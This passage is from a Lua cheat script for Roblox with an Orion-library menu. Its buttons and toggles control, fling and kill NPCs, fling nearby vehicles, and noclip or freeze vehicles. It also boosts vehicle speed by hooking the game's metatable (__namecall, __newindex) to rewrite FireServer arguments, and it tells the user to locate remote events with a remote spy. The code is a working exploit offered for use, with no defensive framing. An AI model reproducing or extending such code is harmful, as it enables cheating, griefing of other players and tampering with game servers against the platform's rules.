  2619. if Controlwho == true then
  2620. if Control == false then
  2621. Control = true
  2622. local Char = NPCTarget
  2623. plr.Character = NPCTarget
  2624. game.Workspace.CurrentCamera.CameraSubject = NPCTarget:FindFirstChildWhichIsA("Humanoid")
  2625. Char.Animate.Disabled = true
  2626. wait(0.1)
  2627. Char.Animate.Disabled = false
  2628. end
  2629. if not simRadius then
  2630. SimRad()
  2631. end
  2632. else
  2633. Controlwho = false
  2634. Control = false
  2635. Control = false
  2636. plr.Character = Workspace[plr.Name]
  2637. game.Workspace.CurrentCamera.CameraSubject = plr.Character
  2638. Workspace[plr.Name].Animate.Disabled = true
  2639. wait(0.1)
  2640. Workspace[plr.Name].Animate.Disabled = false
  2641. end
  2642. end
  2643. })
  2644.  
  2645. NPC:AddButton({
  2646. Name = "unAnchored Parts to NPC",
  2647. Callback = function()
  2648. if sethidden then
  2649. local Forces = {}
  2650. for _,part in pairs(game.Workspace:GetDescendants()) do
  2651. if NPCTarget:FindFirstChild("Head") and part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and not part:IsDescendantOf(plr.Character) and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false then
  2652. for i,c in pairs(part:GetChildren()) do
  2653. if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
  2654. c:Destroy()
  2655. end
  2656. end
  2657. local ForceInstance = Instance.new("BodyPosition")
  2658. ForceInstance.Parent = part
  2659. ForceInstance.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
  2660. table.insert(Forces, ForceInstance)
  2661. if not table.find(frozenParts,part) then
  2662. table.insert(frozenParts,part)
  2663. end
  2664. end
  2665. end
  2666. if not simRadius then
  2667. SimRad()
  2668. end
  2669. for i,c in pairs(Forces) do
  2670. c.Position = NPCTarget.Head.Position
  2671. end
  2672. end
  2673. end
  2674. })
  2675.  
  2676. NPC:AddButton({
  2677. Name = "Teleport To NPC",
  2678. Callback = function()
  2679. plr.Character.HumanoidRootPart.CFrame = NPCTarget:GetModelCFrame()
  2680. end
  2681. })
  2682.  
  2683. NPC:AddButton({
  2684. Name = "Vehicle Teleport to NPC",
  2685. Callback = function()
  2686. if NPCTarget ~= nil then
  2687. local seat = plr.Character:FindFirstChildOfClass('Humanoid').SeatPart
  2688. local vehicleModel = seat.Parent
  2689. repeat
  2690. if vehicleModel.ClassName ~= "Model" then
  2691. vehicleModel = vehicleModel.Parent
  2692. end
  2693. until vehicleModel.ClassName == "Model"
  2694. for i,v in pairs(vehicleModel:GetDescendants()) do
  2695. if v:IsA("BasePart") then
  2696. v:MoveTo(NPCTarget.HumanoidRootPart.Position)
  2697. end
  2698. end
  2699. for i,v in pairs(vehicleModel.Parent:GetDescendants()) do
  2700. if v:IsA("BasePart") and v.Anchored then
  2701. if v.Anchored == false then
  2702. v:MoveTo(NPCTarget.HumanoidRootPart.Position)
  2703. end
  2704. end
  2705. end
  2706. wait(0.1)
  2707. vehicleModel:MoveTo(NPCTarget.HumanoidRootPart.Position)
  2708. end
  2709. end
  2710. })
  2711.  
  2712. NPC:AddButton({
  2713. Name = "Fling Noclipped NPC",
  2714. Callback = function()
  2715. flinghh = 1000
  2716. local lp = game.Players.LocalPlayer
  2717.  
  2718. if type(NPCTarget) == "string" then return end
  2719.  
  2720. local oldpos = lp.Character.HumanoidRootPart.CFrame
  2721. local oldhh = lp.Character.Humanoid.HipHeight
  2722.  
  2723. local carpetAnim = Instance.new("Animation")
  2724. carpetAnim.AnimationId = "rbxassetid://282574440"
  2725. carpet = lp.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(carpetAnim)
  2726. carpet:Play(.1, 1, 1)
  2727.  
  2728. local carpetLoop
  2729.  
  2730. local tTorso = NPCTarget:FindFirstChild("Torso") or NPCTarget:FindFirstChild("LowerTorso") or NPCTarget:FindFirstChild("HumanoidRootPart")
  2731.  
  2732. spawn(function()
  2733. carpetLoop = game:GetService('RunService').Heartbeat:Connect(function()
  2734. pcall(function()
  2735. if tTorso.Velocity.magnitude <= 28 then -- if target uses netless just target their local position
  2736. local pos = {x=0, y=0, z=0}
  2737. pos.x = tTorso.Position.X
  2738. pos.y = tTorso.Position.Y
  2739. pos.z = tTorso.Position.Z
  2740. pos.x = pos.x + tTorso.Velocity.X / 2
  2741. pos.y = pos.y + tTorso.Velocity.Y / 2
  2742. pos.z = pos.z + tTorso.Velocity.Z / 2
  2743. lp.Character.HumanoidRootPart.CFrame = CFrame.new(Vector3.new(pos.x,pos.y,pos.z))
  2744. else
  2745. lp.Character.HumanoidRootPart.CFrame = tTorso.CFrame
  2746. end
  2747. end)
  2748. end)
  2749. end)
  2750.  
  2751. wait()
  2752.  
  2753. lp.Character.Humanoid.HipHeight = flinghh
  2754.  
  2755. wait(.5)
  2756.  
  2757. carpetLoop:Disconnect()
  2758. wait()
  2759. lp.Character.Humanoid.Health = 0
  2760. wait(game.Players.RespawnTime + .6)
  2761. lp.Character.HumanoidRootPart.CFrame = oldpos
  2762. end
  2763. })
  2764.  
  2765. NPC:AddToggle({
  2766. Name = "View NPC",
  2767. Default = false,
  2768. Callback = function(View)
  2769. if View == true then
  2770. viewing = NPCTarget
  2771. game.Workspace.CurrentCamera.CameraSubject = viewing
  2772. else
  2773. View = false
  2774. game.Workspace.CurrentCamera.CameraSubject = plr.Character
  2775. end
  2776. end
  2777. })
  2778.  
  2779. NPC:AddButton({
  2780. Name = "Notify Information about NPC",
  2781. Callback = function()
  2782. OrionLib:MakeNotification({
  2783. Name = "Information about NPC:",
  2784. Content = 'Name: '..NPCTarget.Name..' | Health: '..round(NPCTarget:FindFirstChildOfClass('Humanoid').Health, 1)..' | WalkSpeed: '..NPCTarget:FindFirstChildOfClass("Humanoid").WalkSpeed..' | JumpPower: '..NPCTarget:FindFirstChildOfClass("Humanoid").JumpPower,
  2785. Image = "",
  2786. Time = 10
  2787. })
  2788. end
  2789. })
  2790.  
  2791. NPC:AddToggle({
  2792. Name = "Stare At NPC",
  2793. Default = false,
  2794. Callback = function(Stareqs)
  2795. if Stareqs == true then
  2796. if stareLoop then
  2797. stareLoop:Disconnect()
  2798. end
  2799. if not plr.Character:FindFirstChild("HumanoidRootPart") and NPCTarget:FindFirstChild("HumanoidRootPart") then return end
  2800. local function stareFunc()
  2801. if plr.Character.PrimaryPart and NPCTarget ~= nil and NPCTarget:FindFirstChild("HumanoidRootPart") then
  2802. local chrPos= plr.Character.PrimaryPart.Position
  2803. local tPos= NPCTarget:FindFirstChild("HumanoidRootPart").Position
  2804. local modTPos=Vector3.new(tPos.X,chrPos.Y,tPos.Z)
  2805. local newCF=CFrame.new(chrPos,modTPos)
  2806. plr.Character:SetPrimaryPartCFrame(newCF)
  2807. elseif not NPCTarget:FindFirstChild(v) then
  2808. stareLoop:Disconnect()
  2809. end
  2810. end
  2811.  
  2812. stareLoop = game:GetService("RunService").RenderStepped:Connect(stareFunc)
  2813. else
  2814. Stareqs = false
  2815. if stareLoop then
  2816. stareLoop:Disconnect()
  2817. end
  2818. end
  2819. end
  2820. })
  2821.  
  2822. NPC:AddToggle({
  2823. Name = "Fling NPC",
  2824. Default = false,
  2825. Callback = function(Flinglols)
  2826. if Flinglols == true then
  2827. plr.Character.Humanoid.PlatformStand = Platformstand
  2828. Flinging = true
  2829. local Thrust = Instance.new("BodyThrust", plr.Character.HumanoidRootPart)
  2830. Thrust.Force = Vector3.new(100000, 100000, 100000)
  2831. Thrust.Name = "FlingForce"
  2832. repeat
  2833. plr.Character.HumanoidRootPart.CFrame = NPCTarget.HumanoidRootPart.CFrame
  2834. Thrust.Location = getRoot(NPCTarget).Position
  2835. game:GetService('RunService').Heartbeat:Wait()
  2836. until not getRoot(NPCTarget) or Flinging == false
  2837. else
  2838. Flinglols = false
  2839. Flinging = false
  2840. plr.Character.Humanoid.PlatformStand = false
  2841. for i,v in pairs(plr.Character.HumanoidRootPart:GetChildren()) do
  2842. if v.Name == "FlingForce" and v:IsA("BodyThrust") then
  2843. v:Destroy()
  2844. end
  2845. end
  2846. end
  2847. end
  2848. })
  2849.  
  2850. NPC:AddToggle({
  2851. Name = "PlatformStand Fling",
  2852. Default = false,
  2853. Callback = function(pzFlinglol)
  2854. if pzFlinglol == true then
  2855. Platformstand = true
  2856. else
  2857. pzFlinglol = false
  2858. Platformstand = false
  2859. end
  2860. end
  2861. })
  2862.  
  2863. NPC:AddButton({
  2864. Name = "ToolHandle Kill NPC",
  2865. Callback = function()
  2866. local Char = plr.Character
  2867. local RS = game:GetService("RunService").RenderStepped
  2868. local Tool = Char:FindFirstChildWhichIsA("Tool")
  2869. local Handle = Tool and Tool:FindFirstChild("Handle")
  2870. if not Tool or not Handle then
  2871. return game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "You need to hold a 'Tool' that does damage on touchinterest. For example Sword or Knife.", Duration = 4,})
  2872. end
  2873. task.spawn(function()
  2874. while Tool and Char and NPCTarget and Tool.Parent == Char do
  2875. local Human = NPCTarget:FindFirstChildWhichIsA("Humanoid")
  2876. if not Human or Human.Health <= 0 then
  2877. break
  2878. end
  2879. for i, v1 in ipairs(NPCTarget:GetChildren()) do
  2880. v1 = ((v1:IsA("BasePart") and firetouchinterest(Handle, v1, 1, (RS.Wait(RS) and nil) or firetouchinterest(Handle, v1, 0)) and nil) or v1) or v1
  2881. end
  2882. end
  2883. game.StarterGui:SetCore("SendNotification", {Title = "Done!", Text = "ToolHandle Kill Stopped. Because npc died or you just unequipped the tool.", Duration = 4,})
  2884. end)
  2885. end
  2886. })
  2887.  
  2888. NPC:AddButton({
  2889. Name = "Look At NPC",
  2890. Callback = function()
  2891. local preMaxZoom = game.Players.LocalPlayer.CameraMaxZoomDistance
  2892. local preMinZoom = game.Players.LocalPlayer.CameraMinZoomDistance
  2893. if plr.CameraMaxZoomDistance ~= 0.5 then
  2894. preMaxZoom = plr.CameraMaxZoomDistance
  2895. preMinZoom = plr.CameraMinZoomDistance
  2896. end
  2897. plr.CameraMaxZoomDistance = 0.5
  2898. plr.CameraMinZoomDistance = 0.5
  2899. wait()
  2900. if NPCTarget and NPCTarget:FindFirstChild('Head') then
  2901. game.Workspace.CurrentCamera.CFrame = CFrame.new(game.Workspace.CurrentCamera.CFrame.p, NPCTarget.Head.CFrame.p)
  2902. wait(0.1)
  2903. end
  2904. plr.CameraMaxZoomDistance = preMaxZoom
  2905. plr.CameraMinZoomDistance = preMinZoom
  2906. end
  2907. })
  2908.  
  2909. local VehicleRemoteName
  2910.  
  2911. Vehicle:AddLabel("Vehicle RemoteEvents")
  2912.  
  2913. Vehicle:AddTextbox({
  2914. Name = "Vehicle RemoteEvent Name",
  2915. Default = "",
  2916. TextDisappear = true,
  2917. Callback = function(VRMlol)
  2918. OrionLib:MakeNotification({
  2919. Name = "Tutorial",
  2920. Content = "1) You need to write remoteevent name, which was fired of vehicle speed or something other. Use for example remotespy or simplespy to find fired vehicle remoteevent. 2) After finding from remotespy/simplespy, you need to write here remoteevent name. Now it's done, you can change vehicle speed. Enjoy.",
  2921. Image = "rbxassetid://6023426945",
  2922. Time = 25
  2923. })
  2924. VehicleRemoteName = VRMlol
  2925. end
  2926. })
  2927.  
  2928. Vehicle:AddTextbox({
  2929. Name = "Vehicle RemoteEvent Speed",
  2930. Default = "",
  2931. TextDisappear = true,
  2932. Callback = function(REVS)
  2933. _G.Speed = tonumber(REVS)
  2934. local mt = getrawmetatable(game)
  2935. local nc = mt.__namecall
  2936. setreadonly(mt, false)
  2937. mt.__namecall = function(...)
  2938. local args = {...}
  2939. if getnamecallmethod() == "FireServer" then
  2940. for i,v in pairs({...}) do
  2941. if tostring(v) == VehicleRemoteName then
  2942. args[2] = args[2] * _G.Speed
  2943. args[3] = args[3] + Vector3.new(0,0,(args[3].Z * _G.Speed)-args[3].Z)
  2944. break;
  2945. end
  2946. end
  2947. end
  2948. return nc(unpack(args))
  2949. end
  2950. end
  2951. })
  2952.  
  2953. Vehicle:AddLabel("Miscellaneous")
  2954.  
  2955. Vehicle:AddButton({
  2956. Name = "Information About Vehicle Functions.",
  2957. Callback = function()
  2958. OrionLib:MakeNotification({
  2959. Name = "FE and Non FE",
  2960. Content = "If the other player got on the seat first, then it may not work. (NON-FE)",
  2961. Image = "rbxassetid://6023426945",
  2962. Time = 14
  2963. })
  2964. end
  2965. })
  2966.  
  2967. Vehicle:AddTextbox({
  2968. Name = "Vehicle-Chassis Speed",
  2969. Default = "",
  2970. TextDisappear = true,
  2971. Callback = function(ChassisS)
  2972. local speed = ChassisS
  2973. local met = getrawmetatable(game)
  2974. setreadonly(met,false)
  2975. local old = met.__newindex
  2976. met.__newindex = function(t,k,v)
  2977. if tostring(t) == "#AV" then
  2978. if k == "angularvelocity" or k == "maxTorque" or k == "Speed" then
  2979. return old(t,k,Vector3.new(v.X*speed,v.Y*speed,v.Z*speed))
  2980. end
  2981. end
  2982. return old(t,k,v)
  2983. end
  2984. end
  2985. })
  2986.  
  2987. Vehicle:AddTextbox({
  2988. Name = "Vehicle-Chassis SeatSpeed",
  2989. Default = "",
  2990. TextDisappear = true,
  2991. Callback = function(ChassisSs)
  2992. local speed = tonumber(ChassisSs)
  2993. local seat = plr.Character:FindFirstChildOfClass("Humanoid").SeatPart
  2994. local Vehicle = seat.Parent
  2995.  
  2996. for i,v in pairs(Vehicle.Parent:GetDescendants()) do
  2997. if v:IsA("VehicleSeat") then
  2998. v.MaxSpeed = speed
  2999. end
  3000. end
  3001. end
  3002. })
  3003.  
  3004. Vehicle:AddTextbox({
  3005. Name = "Vehicle-Chassis Configurations Speed",
  3006. Default = "",
  3007. TextDisappear = true,
  3008. Callback = function(ChassisSas)
  3009. local speed = tonumber(ChassisSas)
  3010. local seat = plr.Character:FindFirstChildOfClass("Humanoid").SeatPart
  3011. local Vehicle = seat.Parent
  3012.  
  3013. for i,v in pairs(Vehicle.Parent:GetDescendants()) do
  3014. if string.match(v.Name, "Config") or string.match(v.Name, "Configurations") and v:IsA("Configuration") then
  3015. for i,b in pairs(v:GetDescendants()) do
  3016. if b.Name == "Speed" or b.Name == "speed" and b:IsA("NumberValue") then
  3017. b.Value = speed
  3018. end
  3019. end
  3020. end
  3021. end
  3022. end
  3023. })
  3024.  
  3025. Vehicle:AddButton({
  3026. Name = "Fling Closest Vehicle",
  3027. Callback = function()
  3028. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "Use 'No Sit' in LocalPlayer folder for perfect vehicle fling", Duration = 6,})
  3029.  
  3030. local oldpos = plr.Character.HumanoidRootPart.CFrame
  3031.  
  3032. for i,v in pairs(game.Workspace:GetDescendants()) do
  3033. if v:IsA("Seat") or v:IsA("VehicleSeat") then
  3034. for i,b in pairs(v.Parent:GetChildren()) do
  3035. if b:IsA("BasePart") then
  3036. if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - b.Position).Magnitude < 25 then
  3037. wait(0.1)
  3038. Noclip()
  3039. NOFLY()
  3040. wait()
  3041. for _, child in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
  3042. if child.ClassName == "Part" then
  3043. child.CustomPhysicalProperties = PhysicalProperties.new(9e99, 9e99, 9e99, 9e99, 9e99)
  3044. end
  3045. end
  3046. plr.Character.HumanoidRootPart.CFrame = b.CFrame
  3047. sFLY(true)
  3048. local BodyAV = Instance.new("BodyAngularVelocity", game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart"))
  3049. BodyAV.AngularVelocity = Vector3.new(0, 2000, 0)
  3050. BodyAV.MaxTorque = Vector3.new(0, math.huge, 0)
  3051. BodyAV.Name = "VehicleFling"
  3052. BodyAV.P = 1250
  3053. end
  3054. end
  3055. end
  3056. end
  3057. end
  3058. wait(2)
  3059. NOFLY()
  3060. for _, child in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
  3061. if child.ClassName == "Part" then
  3062. child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5, 0, 0)
  3063. end
  3064. end
  3065. for i,v in pairs(plr.Character:GetDescendants()) do
  3066. if v:IsA("BodyAngularVelocity") and v.Name == "VehicleFling" then
  3067. v:Destroy()
  3068. end
  3069. end
  3070. vNoclip = false
  3071. if Noclipping then
  3072. Noclipping:Disconnect()
  3073. end
  3074. Clip = true
  3075. plr.Character:FindFirstChildOfClass("Humanoid").Health = 0
  3076. wait(game.Players.RespawnTime + .6)
  3077. plr.Character.HumanoidRootPart.CFrame = oldpos
  3078. end
  3079. })
  3080.  
  3081. Vehicle:AddButton({
  3082. Name = "Fling Closest Vehicle HipHeight Method",
  3083. Callback = function()
  3084. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "Use 'No Sit' in LocalPlayer folder for perfect vehicle fling", Duration = 6,})
  3085. flinghh = 1000
  3086. local lp = game.Players.LocalPlayer
  3087. local oldpos = lp.Character.HumanoidRootPart.CFrame
  3088. local oldhh = lp.Character.Humanoid.HipHeight
  3089.  
  3090. local carpetAnim = Instance.new("Animation")
  3091. carpetAnim.AnimationId = "rbxassetid://282574440"
  3092. carpet = lp.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(carpetAnim)
  3093. carpet:Play(.1, 1, 1)
  3094.  
  3095. for i,v in pairs(game.Workspace:GetDescendants()) do
  3096. if v:IsA("Seat") or v:IsA("VehicleSeat") then
  3097. for i,b in pairs(v.Parent:GetChildren()) do
  3098. if b:IsA("BasePart") then
  3099. if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - b.Position).Magnitude < 25 then
  3100. spawn(function()
  3101. for _, child in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
  3102. if child.ClassName == "Part" then
  3103. child.CustomPhysicalProperties = PhysicalProperties.new(9e99, 9e99, 9e99, 9e99, 9e99)
  3104. end
  3105. end
  3106. carpetLoop = game:GetService('RunService').Heartbeat:Connect(function()
  3107. pcall(function()
  3108. if b.Velocity.magnitude <= 28 then -- if target uses netless just target their local position
  3109. local pos = {x=0, y=0, z=0}
  3110. pos.x = b.Position.X
  3111. pos.y = b.Position.Y
  3112. pos.z = b.Position.Z
  3113. pos.x = pos.x + b.Velocity.X / 2
  3114. pos.y = pos.y + b.Velocity.Y / 2
  3115. pos.z = pos.z + b.Velocity.Z / 2
  3116. lp.Character.HumanoidRootPart.CFrame = CFrame.new(Vector3.new(pos.x,pos.y,pos.z))
  3117. else
  3118. lp.Character.HumanoidRootPart.CFrame = v.CFrame
  3119. end
  3120. end)
  3121. end)
  3122. end)
  3123.  
  3124. wait()
  3125.  
  3126. lp.Character.Humanoid.HipHeight = flinghh
  3127.  
  3128. wait(.5)
  3129.  
  3130. carpetLoop:Disconnect()
  3131. for _, child in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
  3132. if child.ClassName == "Part" then
  3133. child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5, 0, 0)
  3134. end
  3135. end
  3136. wait()
  3137. lp.Character.Humanoid.Health = 0
  3138. wait(game.Players.RespawnTime + .6)
  3139. lp.Character.HumanoidRootPart.CFrame = oldpos
  3140. end
  3141. end
  3142. end
  3143. end
  3144. end
  3145. end
  3146. })
  3147.  
  3148. local VehicleFlingO
  3149.  
  3150. Vehicle:AddTextbox({
  3151. Name = "Fling Vehicle Power",
  3152. Default = "",
  3153. TextDisappear = true,
  3154. Callback = function(VehOw)
  3155. VehicleFlingO = tonumber(VehOw)
  3156. end
  3157. })
  3158.  
  3159. Vehicle:AddButton({
  3160. Name = "Fling Vehicle",
  3161. Callback = function()
  3162. game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "You can fling vehicle only if you sitted on seat first. It flings your vehicle not like closest vehicle, enemies vehicles, etc.", Duration = 11,})
  3163. local plr = game.Players.LocalPlayer
  3164. local char = plr.Character
  3165. local Root = char.HumanoidRootPart
  3166.  
  3167. local BGyro = Instance.new("BodyAngularVelocity")
  3168. BGyro.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
  3169. BGyro.AngularVelocity = Vector3.new(VehicleFlingO, VehicleFlingO, VehicleFlingO)
  3170. local PGyro, DGyro, ZGyro = Root.CFrame:ToEulerAnglesXYZ()
  3171. local A = PGyro
  3172. local B = Root
  3173. local C = ZGyro
  3174. PGyro = BGyro
  3175. PGyro = BGyro
  3176. PGyro.Parent = char.Head
  3177. wait(0.2)
  3178. BGyro:Destroy()
  3179. end
  3180. })
  3181.  
  3182. Vehicle:AddToggle({
  3183. Name = "Vehicle Very Strengthen",
  3184. Default = false,
  3185. Callback = function(vstrong)
  3186. if vstrong == true then
  3187. vstrongParts = {}
  3188. local seat = plr.Character:FindFirstChildOfClass('Humanoid').SeatPart
  3189. local vehicleModel = seat.Parent
  3190. repeat
  3191. if vehicleModel.ClassName ~= "Model" then
  3192. vehicleModel = vehicleModel.Parent
  3193. end
  3194. until vehicleModel.ClassName == "Model"
  3195. wait(0.1)
  3196. for i,v in pairs(vehicleModel.Parent:GetDescendants()) do
  3197. if v:IsA("Part") then
  3198. table.insert(vstrongParts,v)
  3199. v.CustomPhysicalProperties = PhysicalProperties.new(9e99, 9e99, 9e99, 9e99, 9e99)
  3200. end
  3201. end
  3202. else
  3203. vstrong = false
  3204. for i,v in pairs(vstrongParts) do
  3205. if v:IsA("Part") then
  3206. v.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5, 1, 1)
  3207. end
  3208. end
  3209. vstrongParts = {}
  3210. end
  3211. end
  3212. })
  3213.  
  3214. Vehicle:AddToggle({
  3215. Name = "Vehicle Strengthen",
  3216. Default = false,
  3217. Callback = function(vstrong)
  3218. if vstrong == true then
  3219. vstrongParts = {}
  3220. local seat = plr.Character:FindFirstChildOfClass('Humanoid').SeatPart
  3221. local vehicleModel = seat.Parent
  3222. repeat
  3223. if vehicleModel.ClassName ~= "Model" then
  3224. vehicleModel = vehicleModel.Parent
  3225. end
  3226. until vehicleModel.ClassName == "Model"
  3227. wait(0.1)
  3228. for i,v in pairs(vehicleModel.Parent:GetDescendants()) do
  3229. if v:IsA("Part") then
  3230. table.insert(vstrongParts,v)
  3231. v.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5)
  3232. end
  3233. end
  3234. else
  3235. vstrong = false
  3236. for i,v in pairs(vstrongParts) do
  3237. if v:IsA("Part") then
  3238. v.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
  3239. end
  3240. end
  3241. vstrongParts = {}
  3242. end
  3243. end
  3244. })
  3245.  
  3246. Vehicle:AddToggle({
  3247. Name = "Vehicle Weaken",
  3248. Default = false,
  3249. Callback = function(vweak)
  3250. if vweak == true then
  3251. vweakParts = {}
  3252. local seat = plr.Character:FindFirstChildOfClass('Humanoid').SeatPart
  3253. local vehicleModel = seat.Parent
  3254. repeat
  3255. if vehicleModel.ClassName ~= "Model" then
  3256. vehicleModel = vehicleModel.Parent
  3257. end
  3258. until vehicleModel.ClassName == "Model"
  3259. wait(0.1)
  3260. for i,v in pairs(vehicleModel.Parent:GetDescendants()) do
  3261. if v:IsA("Part") then
  3262. table.insert(vweakParts,v)
  3263. v.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
  3264. end
  3265. end
  3266. else
  3267. vweak = false
  3268. for i,v in pairs(vweakParts) do
  3269. if v:IsA("Part") then
  3270. v.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
  3271. end
  3272. end
  3273. vweakParts = {}
  3274. end
  3275. end
  3276. })
  3277.  
  3278. Vehicle:AddToggle({
  3279. Name = "Vehicle Noclip",
  3280. Default = false,
  3281. Callback = function(vNoclip)
  3282. if vNoclip == true then
  3283. vnoclipParts = {}
  3284. local seat = plr.Character:FindFirstChildOfClass('Humanoid').SeatPart
  3285. local vehicleModel = seat.Parent
  3286. repeat
  3287. if vehicleModel.ClassName ~= "Model" then
  3288. vehicleModel = vehicleModel.Parent
  3289. end
  3290. until vehicleModel.ClassName == "Model"
  3291. wait(0.1)
  3292. Noclip()
  3293. for i,v in pairs(vehicleModel:GetDescendants()) do
  3294. if v:IsA("BasePart") and v.CanCollide then
  3295. table.insert(vnoclipParts,v)
  3296. v.CanCollide = false
  3297. end
  3298. end
  3299. for i,b in pairs(vehicleModel.Parent:GetDescendants()) do
  3300. if b:IsA("BasePart") and b.CanCollide then
  3301. table.insert(vnoclipParts,b)
  3302. b.CanCollide = false
  3303. end
  3304. end
  3305. else
  3306. vNoclip = false
  3307. if Noclipping then
  3308. Noclipping:Disconnect()
  3309. end
  3310. Clip = true
  3311. for i,v in pairs(vnoclipParts) do
  3312. v.CanCollide = true
  3313. end
  3314. vnoclipParts = {}
  3315. end
  3316. end
  3317. })
  3318.  
  3319. Vehicle:AddToggle({
  3320. Name = "Vehicle Freeze",
  3321. Default = false,
  3322. Callback = function(vfree)
  3323. if vfree == true then
  3324. local seat = plr.Character:FindFirstChildOfClass('Humanoid').SeatPart
  3325. local vehicleModel = seat.Parent
  3326. for i,v in pairs(plr.Character:GetDescendants()) do
  3327. if v:IsA("BasePart") then
  3328. v.Anchored = true
  3329. end
  3330. end
  3331. for i,b in pairs(vehicleModel:GetDescendants()) do
  3332. if b:IsA("BasePart") then
  3333. table.insert(vfreeze, b)
  3334. b.Anchored = true
  3335. end
  3336. end
  3337. else
  3338. vfree = false
  3339. for i,v in pairs(plr.Character:GetDescendants()) do
  3340. if v:IsA("BasePart") then
  3341. v.Anchored = false
  3342. end
  3343. end
  3344. for i,v in pairs(vfreeze) do
  3345. v.Anchored = false
  3346. end
  3347. vfreeze = {}
  3348. end
  3349. end
  3350. })
  3351.  
  3352. Vehicle:AddToggle({
  3353. Name = "Vehicle Fling",
  3354. Default = false,
  3355. Callback = function(vFly)
  3356. if vFly == true then
  3357. vnoclipParts = {}
  3358. vstrongParts = {}
  3359. local seat = plr.Character:FindFirstChildOfClass('Humanoid').SeatPart
  3360. local vehicleModel = seat.Parent
  3361. repeat
  3362. if vehicleModel.ClassName ~= "Model" then
  3363. vehicleModel = vehicleModel.Parent
  3364. end
  3365. until vehicleModel.ClassName == "Model"
  3366. wait(0.1)
  3367. Noclip()
  3368. for i,v in pairs(vehicleModel:GetDescendants()) do
  3369. if v:IsA("BasePart") and v.CanCollide then
  3370. table.insert(vnoclipParts,v)
  3371. v.CanCollide = false
  3372. end
  3373. end
  3374. for i,b in pairs(vehicleModel.Parent:GetDescendants()) do
  3375. if b:IsA("BasePart") and b.CanCollide then
  3376. table.insert(vnoclipParts,b)
  3377. b.CanCollide = false
  3378. end
  3379. end
  3380. for i,v in pairs(vehicleModel.Parent:GetDescendants()) do
  3381. if v:IsA("Part") then
  3382. table.insert(vstrongParts,v)
  3383. v.CustomPhysicalProperties = PhysicalProperties.new(9e99, 9e99, 9e99, 9e99, 9e99)
  3384. end
  3385. end
  3386. NOFLY()
  3387. wait()
  3388. sFLY(true)
  3389. local BodyAV = Instance.new("BodyAngularVelocity", game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart"))
  3390. BodyAV.AngularVelocity = Vector3.new(0, 2000, 0)
  3391. BodyAV.MaxTorque = Vector3.new(0, math.huge, 0)
  3392. BodyAV.Name = "VehicleFling"
  3393. BodyAV.P = 1250
  3394. else
  3395. vFly = false
  3396. NOFLY()
  3397. for i,v in pairs(plr.Character:GetDescendants()) do
  3398. if v:IsA("BodyAngularVelocity") and v.Name == "VehicleFling" then
  3399. v:Destroy()
  3400. end
  3401. end
  3402. vNoclip = false
  3403. if Noclipping then
  3404. Noclipping:Disconnect()
  3405. end
  3406. Clip = true
  3407. for i,v in pairs(vnoclipParts) do
  3408. v.CanCollide = true
  3409. end
  3410. for i,v in pairs(vstrongParts) do
  3411. if v:IsA("Part") then
  3412. v.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5, 1, 1)
  3413. end
  3414. end
  3415. vnoclipParts = {}
  3416. vstrongParts = {}
  3417. end
  3418. end
  3419. })
  3420.  
  3421. Vehicle:AddTextbox({
  3422. Name = "Vehicle Fling Speed",
  3423. Default = "",
  3424. TextDisappear = true,
  3425. Callback = function(vFlyspeeds)
  3426. vehicleflyspeed = vFlyspeeds
  3427. end
  3428. })
  3429.  
  3430. Vehicle:AddToggle({
  3431. Name = "Vehicle Fly",
  3432. Default = false,
  3433. Callback = function(vFly)
  3434. if vFly == true then
  3435. NOFLY()
  3436. wait()
  3437. sFLY(true)
  3438. else
  3439. vFly = false
  3440. NOFLY()
  3441. end
  3442. end
  3443. })
  3444.  
  3445. Vehicle:AddTextbox({
  3446. Name = "Vehicle Fly Speed",
  3447. Default = "",
  3448. TextDisappear = true,
  3449. Callback = function(vFlyspeed)
  3450. vehicleflyspeed = vFlyspeed
  3451. end
  3452. })
  3453.  
  3454. ToolPlr:AddLabel("Player")
  3455.  
  3456.  
  3457. ToolPlr:AddToggle({
  3458. Name = "Walk To Closest Tool Player",
  3459. Default = false,
  3460. Callback = function(Walknssz)
  3461. if Walknssz == true then
  3462. if Guarding == false then
  3463. Guarding = true
  3464. for i,v in pairs(game.Players:GetPlayers()) do
  3465. if v.Name ~= plr.Character.Name and (getRoot(v.Character).CFrame.p - getRoot(plr.Character).CFrame.p).Magnitude < 25 then
  3466. repeat wait()
  3467. if getRoot(v.Character).Velocity.Magnitude > 0.5 and v.Character:FindFirstChildOfClass("Tool") then
  3468. plr.Character:FindFirstChildOfClass("Humanoid"):MoveTo(getRoot(v.Character).CFrame.p + getRoot(v.Character).Velocity.unit * 7)
  3469. elseif getRoot(v.Character).Velocity.Magnitude < 0.5 and v.Character:FindFirstChildOfClass("Tool") then
